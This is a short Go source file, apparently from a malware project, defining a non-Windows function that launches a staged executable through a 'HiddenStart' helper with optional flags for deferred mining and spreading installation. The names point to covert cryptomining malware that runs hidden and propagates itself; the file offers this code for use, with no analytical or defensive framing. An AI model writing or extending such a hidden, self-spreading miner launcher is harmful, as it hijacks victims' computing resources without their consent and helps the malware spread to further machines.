//go:build !windows package deploy import ( "fmt" ) func launchErasureStagedBinary(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) { _ = launch _ = dllExport args := []string{runFlag} if deferMining { args = append(args, deferMiningFlag) } if spreadInstall { args = append(args, spreadFlag) } if err := HiddenStart(dest, args...); err != nil { return "", fmt.Errorf("exe launch: %w", err) } return fmt.Sprintf("staged to %s; launched exe %v", dest, args), nil }